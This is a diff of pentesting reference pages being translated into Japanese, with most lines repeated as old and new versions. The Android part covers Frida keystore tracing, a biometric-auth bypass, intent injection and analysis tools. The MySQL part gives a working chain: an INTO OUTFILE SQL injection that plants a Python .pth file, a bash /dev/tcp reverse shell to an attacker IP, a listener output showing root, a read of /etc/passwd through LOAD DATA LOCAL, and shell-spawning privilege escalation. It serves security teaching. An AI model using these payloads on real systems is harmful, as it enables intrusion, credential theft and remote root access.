Keystore内のデータにアクセスするには、このFridaスクリプトを使用できます: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
以下の Frida script を使用すると、Android applications が **特定の機密領域を保護するために** 実行している **bypass fingerprint authentication** を回避できる場合があります:
以下のFridaスクリプトを使用すると、Androidアプリが特定の機密領域を保護するために実施している可能性のある **bypass fingerprint authentication** を回避できる場合があります:
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **バックグラウンド画像**
アプリをバックグラウンドにすると、Android は **アプリのスナップショット** を保存します。アプリがフォアグラウンドに復帰したとき、アプリ本体より先にその画像を読み込むことで、アプリの起動が速く見えるようになります。
アプリをバックグラウンドにすると、Androidは**アプリケーションのスナップショット**を保存します。アプリがフォアグラウンドに復帰したとき、アプリ本体より先にその画像を読み込むことで、アプリがより速く起動したように見せます。
しかし、この **アプリのスナップショット** に **機密情報** が含まれていると、スナップショットにアクセスできる人物が **その情報を盗む可能性** があります（アクセスには root が必要である点に注意）。
しかし、この**スナップショット**に**機密情報**が含まれている場合、そのスナップショットにアクセスできる第三者が**その情報を盗む**可能性があります（アクセスにはrootが必要な点に注意）。
スナップショットは通常、次の場所に保存されます: **`/data/system_ce/0/snapshots`**
スナップショットは通常次の場所に保存されます: **`/data/system_ce/0/snapshots`**
Android は **FLAG_SECURE を設定することでスクリーンショットの取得を防ぐ** レイアウトパラメータを提供します。このフラグを使用すると、ウィンドウの内容がセキュアとして扱われ、スクリーンショットに表示されたり、非セキュアなディスプレイで表示されるのを防ぎます。
Androidは、レイアウトパラメータFLAG_SECUREを設定することで**スクリーンショットの取得を防止**できます。このフラグを使用すると、ウィンドウの内容がセキュアとして扱われ、スクリーンショットに表示されたり、非セキュアなディスプレイで閲覧されたりするのを防ぎます。
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Android Application Analyzer**
このツールはダイナミック解析中に複数のツールを管理するのに役立ちます: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
このツールは dynamic analysis 中に複数のツールを管理するのに役立ちます: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection
開発者はしばしばこれらのIntentsを処理し、`startActivity(...)`や`sendBroadcast(...)`などのメソッドに渡すプロキシコンポーネント（activities、services、broadcast receivers）を作成しますが、これは危険を伴う場合があります。
開発者はしばしば、これらの Intents を処理して `startActivity(...)` や `sendBroadcast(...)` のようなメソッドに渡す proxy コンポーネント（activities、services、broadcast receivers など）を作成しますが、これは危険を伴う場合があります。
この危険は、攻撃者がこれらのIntentsを誤誘導してnon-exportedなアプリコンポーネントをトリガーしたり、機密性の高いcontent providersにアクセスすることを許してしまう点にあります。代表的な例として、`WebView`が`Intent.parseUri(...)`でURLを`Intent`オブジェクトに変換し、それを実行することで、悪意あるIntent注入が発生する可能性があります。
危険性は、攻撃者がこれらの Intents を誤誘導して non-exported なアプリコンポーネントをトリガーしたり、機密性の高い content providers にアクセスさせたりできる点にあります。顕著な例として、`WebView` コンポーネントが URL を `Intent` オブジェクトに `Intent.parseUri(...)` を使って変換し、それを実行してしまうことで、悪意ある Intent Injection を引き起こす可能性があります。
### Essential Takeaways
- **Intent Injection** is similar to web's Open Redirect issue.
- エクスプロイトは`Intent`オブジェクトをextrasとして渡し、それがリダイレクトされて安全でない操作を実行させる方法を含みます。
- 攻撃者にnon-exportedなコンポーネントやcontent providersを露出させる可能性があります。
- `WebView`のURLから`Intent`への変換は意図しない動作を引き起こす可能性があります。
- **Intent Injection** は web の Open Redirect の問題に似ています。
- エクスプロイトは `Intent` オブジェクトを extras として渡し、それをリダイレクトして安全でない操作を実行させることを含みます。
- non-exported なコンポーネントや content providers を攻撃者に晒す可能性があります。
- `WebView` の URL → `Intent` 変換によって意図しない動作が発生することがあります。
### Android Client Side Injections and others
おそらくWebでこの種の脆弱性について知っているでしょう。Androidアプリケーションでは特に以下の脆弱性に注意する必要があります:
おそらく Web でこの種の脆弱性について知っているでしょう。Android アプリケーションでは特に以下の脆弱性に注意する必要があります:
- **SQL Injection:** 動的クエリやContent-Providersを扱う際は、パラメータ化されたクエリを使用していることを確認してください。
- **JavaScript Injection (XSS):** すべてのWebViewsでJavaScriptやPluginのサポートが無効になっていることを確認してください（デフォルトでは無効）。 [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViewsはファイルシステムへのアクセスを無効にしておくべきです（デフォルトでは有効） - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: 多くの場合、Androidアプリがセッションを終了してもクッキーが取り消されない、あるいはディスクに保存されることがあります。
- **SQL Injection:** 動的クエリや Content-Providers を扱うときは、パラメータ化されたクエリを使用していることを確認してください。
- **JavaScript Injection (XSS):** 任意の WebViews に対して JavaScript と Plugin サポートが無効になっていることを確認してください（デフォルトでは無効）。[More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews はファイルシステムへのアクセスを無効にしておくべきです（デフォルトで有効） - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: 多くのケースで Android アプリがセッションを終了しても cookie が破棄されず、ディスクに保存されることがあります。
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -597,7 +597,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
![](<../../images/image (866).png>)
**Vulnerability assessment of the application** を使いやすいWebベースのフロントエンドで実行します。動的解析も行うことができます（ただし環境の準備が必要です）。
**Vulnerability assessment of the application** を使いやすい web-based frontend で行えます。dynamic analysis も実行できます（ただし環境の準備が必要です）。
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -650,15 +650,15 @@ exported_activities
services
receivers
```
**HTTP tools**
**HTTP ツール**
HTTPトラフィックをキャプチャすると、下部の"**HTTP(S) Traffic**"ボタンでキャプチャされたトラフィックの見にくい表示を確認でき、緑の"**Start HTTPTools**"ボタンではより見やすい表示が得られます。後者から、キャプチャしたリクエストをBurpやOwasp ZAPなどの**プロキシ**に**送信**できます。\
その方法は、_power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> "**Send to Fuzzer**" を押す --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\
To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
MobSFでdynamic analysisを終えたら、"**Start Web API Fuzzer**"を押してhttpリクエストを**fuzz**し、脆弱性を探すことができます。
Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities.
> [!TIP]
> MobSFでdynamic analysisを実行した後、プロキシ設定が誤って構成され、GUIから修正できない場合があります。次のコマンドでプロキシ設定を修正できます:
> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing:
>
> ```
> adb shell settings put global http_proxy :0
@ -667,17 +667,17 @@ MobSFでdynamic analysisを終えたら、"**Start Web API Fuzzer**"を押して
### Assisted Dynamic Analysis with Inspeckage
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
このツールは**Hooks**を使用して、dynamic analysis中に**アプリケーション内で何が起きているか**を知らせてくれます。
このツールはいくつかの **Hooks** を使用して、**dynamic analysis** を行っている間にアプリケーション内で**何が起きているか**を把握できるようにします。
### [Yaazhini](https://www.vegabird.com/yaazhini/)
GUIでstatic analysisを行うのに**優れたツール**です。
これは **GUI を使った static analysis を実行するのに優れたツール** です
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
このツールは、source codeまたはpackaged APKsのいずれかを対象に、複数のsecurity-relatedなAndroidアプリの脆弱性を検出するよう設計されています。ツールは"Proof-of-Concept"としてデプロイ可能なAPKやADBコマンドも生成でき、発見した脆弱性のいくつか（Exposed activities、intents、tapjacking...）を悪用することが可能です。Drozerと同様に、テストデバイスをrootする必要はありません。
This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -686,20 +686,20 @@ qark --java path/to/specific/java/file.java
```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- 抽出されたすべてのファイルを表示して参照しやすくする
- 参照しやすいように抽出されたすべてのファイルを表示する
- APKファイルを自動的にJavaおよびSmali形式にデコンパイルする
- AndroidManifest.xmlを解析し、一般的な脆弱性や挙動を検出する
- 一般的な脆弱性や挙動を対象とした静的ソースコード解析
- デバイス情報
- その他
- AndroidManifest.xmlを分析して一般的な脆弱性や挙動を検出する
- 静的ソースコード解析により一般的な脆弱性や挙動を検出する
- デバイス情報を表示する
- など
```bash
reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPERはWindows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、_.apk_ファイルを解析して脆弱性を検出します。APKsを解凍し、一連のルールを適用してそれらの脆弱性を見つけます。
SUPERはWindows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、_.apk_ ファイルを解析して脆弱性を検出します。これはAPKsを解凍し、複数のルールを適用して脆弱性を検出することで行います。
すべてのルールは`rules.json`ファイルに集約されており、各企業やテスターは必要に応じて独自のルールを作成できます。
すべてのルールは `rules.json` ファイルに集約されており、各企業やテスターは必要に応じて独自のルールを作成して解析できます。
最新のバイナリは[download page](https://superanalyzer.rocks/download.html)からダウンロードしてください。
```
@ -709,9 +709,9 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAnは、モバイルアプリケーションに対して[static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)を行う開発者、bugbounty hunters、ethical hackersを支援する**crossplatform**ツールです。
StaCoAnは、モバイルアプリケーションの[static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)を行う開発者、bugbounty hunters、ethical hackersを支援する**クロスプラットフォーム**ツールです。
コンセプトは、モバイルアプリケーションのファイル（.apk または .ipa ファイル）を StaCoAn アプリケーションにドラッグ＆ドロップすると、視覚的で持ち運び可能なレポートを生成するというものです。設定や wordlists を調整してカスタマイズされた体験を得ることができます。
使い方は、モバイルアプリのファイル（.apk または .ipa ファイル）を StaCoAn アプリにドラッグ＆ドロップすると、視覚的で持ち運び可能なレポートを自動生成する、というものです。設定や wordlists を調整してカスタマイズした出力にできます。
ダウンロード[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
@ -719,7 +719,7 @@ StaCoAnは、モバイルアプリケーションに対して[static code analys
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework は Android 脆弱性解析システムで、developers や hackers が Android applications の潜在的な security vulnerabilities を発見するのを支援します。\
AndroBugs Framework は、Android 脆弱性解析システムで、開発者や hackers が Android アプリケーションの潜在的なセキュリティ脆弱性を発見するのを支援します。\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -727,11 +727,11 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** は、Android アプリケーションによって行われる潜在的な悪意ある振る舞いを検出し、ユーザーに警告することを主目的としたツールです。
**Androwarn** は、Android アプリケーションによって開発された潜在的な悪意ある振る舞いを検出し、ユーザーに警告することを主目的としたツールです。
検出は、アプリケーションの Dalvik bytecode を **Smali** として表現したものの **static analysis** を、[`androguard`](https://github.com/androguard/androguard) ライブラリで実行することで行われます。
検出は、アプリケーションの Dalvik bytecode を **Smali** として表現したものに対する **static analysis** を [`androguard`](https://github.com/androguard/androguard) ライブラリで行うことで実行されます。
このツールは、**common behavior of "bad" applications** のような次の挙動を検出します: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
このツールは、次のような **common behavior of "bad" applications** を検出します: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -739,60 +739,60 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. モバイルアプリケーションの一般的なリバースエンジニアリングおよび解析ツールをまとめたツールで、OWASPのモバイルセキュリティ脅威に対するアプリのテストを支援します。目的は、モバイルアプリ開発者やセキュリティ担当者にとってこの作業をより簡単で扱いやすくすることです。
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. モバイルアプリの一般的に使用される reverse engineering と analysis ツールをまとめ、OWASP mobile security threats に対するモバイルアプリのテストを支援するツールです。目的は、この作業をモバイルアプリ開発者やセキュリティ専門家にとってより簡単で扱いやすくすることです。
できること:
It is able to:
- さまざまなツールを使って Java および Smali コードを抽出する
- 以下を使用して APK を解析する: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- 正規表現を使用して APK から機密情報を抽出する
- Manifest を解析する
- 見つかったドメインを以下で解析する: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) および [whatweb](https://github.com/urbanadventurer/WhatWeb)
- [apk-deguard.com] を使って APK の難読化を解除する
- Extract Java and Smali code using different tools
- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Extract private information from the APK using regexps.
- Analyze the Manifest.
- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
malware の検出に便利: [https://koodous.com/](https://koodous.com/)
Useful to detect malware: [https://koodous.com/](https://koodous.com/)
## Obfuscating/Deobfuscating code
使用するサービスや設定によって、コードを難読化した場合でも秘密情報が難読化される場合とされない場合があります。
Note that depending the service and configuration you use to obfuscate the code. Secrets may or may not ended obfuscated.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** は Java コードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードの最適化や未使用命令の検出と削除が可能です。ProGuard はフリーソフトウェアで、GNU General Public License, version 2 の下で配布されています。
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. Java コードを縮小・最適化し、obfuscates するオープンソースのコマンドラインツールです。bytecode の最適化や未使用命令の検出と削除が可能です。ProGuard はフリーソフトウェアで、GNU General Public License, version 2 の下で配布されています。
ProGuard は Android SDK の一部として配布され、アプリをリリースモードでビルドするときに実行されます。
ProGuard is distributed as part of the Android SDK and runs when building the application in release mode.
### [DexGuard](https://www.guardsquare.com/dexguard)
apk の難読化解除に関するステップバイステップのガイドは [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) を参照してください。
Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(そのガイドによると) 最後に確認したときの DexGuard の動作モードは次の通りでした:
(From that guide) Last time we checked, the Dexguard mode of operation was:
- リソースを InputStream として読み込む
- FilterInputStream を継承したクラスに結果を渡して復号する
- リバースエンジニアの時間を少し浪費するために無駄な難読化を行う
- 復号した結果を ZipInputStream に渡して DEX ファイルを取り出す
- 最後に得られた DEX を `loadDex` メソッドを使って Resource としてロードする
- load a resource as an InputStream;
- feed the result to a class inheriting from FilterInputStream to decrypt it;
- do some useless obfuscation to waste a few minutes of time from a reverser;
- feed the decrypted result to a ZipInputStream to get a DEX file;
- finally load the resulting DEX as a Resource using the `loadDex` method.
### [DeGuard](http://apk-deguard.com)
**DeGuard は Android の難読化ツールによって行われた難読化プロセスを逆にします。これによりコードの検査やライブラリの特定など、多くのセキュリティ解析が可能になります。**
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
難読化された APK を彼らのプラットフォームにアップロードできます。
obfuscated APK を彼らのプラットフォームにアップロードできます。
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
これは android アプリの潜在的なセキュリティ脆弱性を見つけ、android アプリのコードを deobfuscate するための LLM ツールです。Google's Gemini public API を使用します。
This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API.
### [Simplify](https://github.com/CalebFenton/simplify)
汎用の android deobfuscator です。Simplify はアプリをほぼ実行してその挙動を理解し、その後コードを最適化して同一の挙動を保ちつつ人間にとって理解しやすくしようとします。各最適化タイプは単純かつ汎用的なので、どのような特定の難読化手法が使われているかは問題になりません。
It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD は APK がどのように作られたかの情報を提供します。多くのコンパイラ、パッカー、オブフuscator（難読化ツール）やその他の怪しいものを識別します。Android における [_PEiD_](https://www.aldeid.com/wiki/PEiD) のような存在です。
APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
### Manual
@ -802,13 +802,13 @@ APKiD は APK がどのように作られたかの情報を提供します。多
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b は ubuntu-mate ベースの Android セキュリティ仮想マシンで、最新のフレームワーク、チュートリアル、ラボをリバースエンジニアリングやマルウェア解析を行う各種セキュリティ研究者や技術者から収集して含んでいます。
AndroL4b は ubuntu-mate ベースの Android security virtual machine で、reverse engineering と malware analysis のために様々な研究者や開発者から集められた最新のフレームワーク、チュートリアル、lab を含んでいます。
## References
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) — 素晴らしいリソース集です
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) — Android クイックコース
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 優れたリソース一覧です
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)

144
src/network-services-pentesting/pentesting-mysql.md
View File

@ -4,7 +4,7 @@
## **基本情報**
**MySQL** は無償で利用できるオープンソースの **Relational Database Management System (RDBMS)** です。**Structured Query Language (SQL)** を使用して、データベースの管理と操作を行います。
**MySQL** は無償で利用できるオープンソースの **Relational Database Management System (RDBMS)** です。**Structured Query Language (SQL)** を用いて動作し、データベースの管理と操作を可能にします。
**デフォルトポート:** 3306
```
@ -22,9 +22,9 @@ mysql -u root -p # A password will be asked (check someone)
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```
## 外部列挙
## External Enumeration
一部の列挙操作には有効な認証情報が必要です。
一部のenumerationアクションは有効な資格情報を必要とします。
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -78,7 +78,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### MySQL 権限列挙
### MySQL の権限列挙
```sql
#Mysql
SHOW GRANTS [FOR user];
@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```
You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
各権限の意味はドキュメントで確認できます: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL File RCE
@ -112,33 +112,33 @@ You can see in the docs the meaning of each privilege: [https://dev.mysql.com/do
#### INTO OUTFILE → Python `.pth` RCE (サイト固有の設定フック)
古典的な `INTO OUTFILE` プリミティブを悪用することで、後で **Python** スクリプトを実行するターゲット上で *arbitrary code execution* を得ることが可能です。
古典的な `INTO OUTFILE` プリミティブを悪用すると、後で **Python** スクリプトが実行されるターゲット上で *任意のコード実行* を得ることが可能です。
1. `INTO OUTFILE` を使って、`site.py` によって自動的にロードされる任意のディレクトリ（例: `.../lib/python3.10/site-packages/`）内にカスタムの **`.pth`** ファイルを置きます。
2. `.pth` ファイルは `import ` で始まる *単一行* を含めることができ、その後に任意の Python コードを続けることで、インタプリタが起動するたびに実行されます。
3. インタプリタが CGI スクリプトによって暗黙的に実行されると（例えばシェバング `#!/bin/python` を持つ `/cgi-bin/ml-draw.py` の場合）、ペイロードは web-server プロセスと同じ権限で実行されます（FortiWeb はそれを **root** として実行した → full pre-auth RCE）。
1. `INTO OUTFILE` を使って、`site.py` によって自動的に読み込まれる任意のディレクトリ内（例: `.../lib/python3.10/site-packages/`）にカスタムの **`.pth`** ファイルを配置します。
2. `.pth` ファイルは `import ` で始まる *1行* を含むことができ、その後に任意の Python コードを続けることで、インタプリタの起動時に毎回実行されます。
3. インタプリタが CGI スクリプトによって暗黙的に実行されると（例えば shebang が `#!/bin/python` の `/cgi-bin/ml-draw.py`）、ペイロードは web-server プロセスと同じ権限で実行されます（FortiWeb はそれを **root** として実行した → full pre-auth RCE）。
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
例の `.pth` ペイロード（1行、最終的な SQL ペイロードにスペースを含められないため、hex/`UNHEX()` や文字列連結が必要になる場合があります）：
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
ファイルを**UNION**クエリを使って作成する例（スペース文字を`/**/`に置き換えて、`sscanf("%128s")`のスペースフィルタを回避し、合計長を≤128バイトに保つ）:
**UNION** クエリを使ってファイルを作成する例（空白文字を `/**/` に置換して `sscanf("%128s")` の空白フィルタを回避し、合計長が ≤128バイトに収まるように）:
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Important limitations & bypasses:
重要な制限とバイパス:
* `INTO OUTFILE` **既存のファイルを上書きできません**; 新しいファイル名を選んでください。
* ファイルパスは **MySQL’s CWD に対して相対的に解決されます**。そのため `../../` をプレフィックスするとパスを短縮し、絶対パス制限を回避できます。
* 攻撃者の入力が `%128s`（または類似）で抽出される場合、スペースはペイロードを切り詰めます；スペースの代わりに MySQL コメントシーケンス `/**/` や `/*!*/` を使用してください。
* クエリを実行する MySQL ユーザには `FILE` 権限が必要ですが、多くのアプライアンス（例: FortiWeb）ではサービスが **root** として動作しており、ほぼどこへでも書き込めます。
* `INTO OUTFILE` **既存のファイルを上書きできない**; 新しいファイル名を選択してください。
* ファイルパスは **MySQL の CWD に対する相対パス** として解決されるため、先頭に `../../` を付けるとパスを短縮して絶対パス制限を回避できます。
* 攻撃者の入力が `%128s`（または類似）で抽出される場合、空白でペイロードが切り詰められるので、スペースの代わりに MySQL コメントシーケンス `/**/` や `/*!*/` を使用してください。
* クエリを実行する MySQL ユーザは `FILE` 権限が必要ですが、多くのアプライアンス（例: FortiWeb）ではサービスが **root** として動作するため、ほぼどこにでも書き込みが可能です。
After dropping the `.pth`, simply request any CGI handled by the python interpreter to get code execution:
`.pth` を配置した後は、python インタプリタによって処理される任意の CGI をリクエストするだけでコード実行が得られます:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Python プロセスは悪意のある `.pth` を自動的に import し、shell payload を実行します。
Pythonプロセスは悪意のある `.pth` を自動的にimportし、shell payloadを実行します。
```
# Attacker
$ nc -lvnp 4444
@ -147,23 +147,24 @@ uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL arbitrary read file by client
実際に、**load data local into a table** を実行してファイルの **content of a file** を読み込もうとすると、MySQL や MariaDB サーバーは **client to read it** と要求し、その内容を送信させます。**Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.**\
この動作は次を使用している場合の挙動であることに注意してください:
実際には、**load data local into a table** を試みてファイルの **content of a file** を読み込もうとすると、the MySQL or MariaDB server は **client to read it** と要求し、その内容を送信させます。**そのため、mysql client を改ざんして自分の MySQL server に接続させることができれば、任意のファイルを読み取ることができます。**\
これは以下を使用した場合の挙動である点に注意してください：
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
("local" という単語に注意)\
"local" がないと、次のようになります:
(「local」という単語に注意)\\
「local」がないと次のようになります:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**最初の PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**この論文では攻撃の完全な説明と、RCE に拡張する方法まで確認できます:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**ここで攻撃の概要を確認できます:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
**この論文では attack の完全な説明と、それを RCE に拡張する方法まで確認できます:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**ここでは attack の概要が確認できます:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
​
@ -173,21 +174,21 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
### Mysql User
mysql が **root** として実行されていると非常に興味深い:
mysql が **root** として実行されている場合は非常に興味深いです:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### mysqld.cnf の危険な設定
MySQL サービスの設定では、動作やセキュリティ対策を定義するためにさまざまな設定が用いられます：
MySQL サービスの設定では、動作やセキュリティ対策を定義するためにさまざまな設定が使用されます:
- `user` 設定は、MySQL サービスが実行されるユーザーを指定するために使用されます。
- `password` は MySQL ユーザーに関連するパスワードを設定するために使われます。
- `admin_address` は管理用ネットワークインターフェースで TCP/IP 接続を待ち受ける IP アドレスを指定します。
- `debug` 変数は現在のデバッグ設定を示し、ログ内に機密情報を含む可能性があります。
- `sql_warnings` は、警告が発生した際に単一行の INSERT ステートメントに対して情報文字列が生成されるかどうかを制御し、これがログ内に機密データを含む可能性があります。
- `secure_file_priv` により、データのインポート/エクスポート操作の範囲が制限され、セキュリティが強化されます。
- The **`user`** 設定は、MySQL サービスを実行するユーザーを指定するために使用されます。
- **`password`** は、MySQL ユーザーに関連付けられたパスワードを設定するために使用されます。
- **`admin_address`** は、管理用ネットワークインターフェースで TCP/IP 接続を受け付ける IP アドレスを指定します。
- The **`debug`** 変数は現在のデバッグ設定を示し、logs 内に機密情報が含まれることがあります。
- **`sql_warnings`** は、警告が発生した際に単一行の INSERT 文用の情報文字列が生成されるかどうかを管理し、これらが logs に機密データを含む可能性があります。
- **`secure_file_priv`** により、データのインポート/エクスポート操作の範囲が制限され、セキュリティが向上します。
### Privilege escalation
```bash
@ -207,18 +208,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
### ライブラリ経由の権限昇格
### Privilege Escalation via library
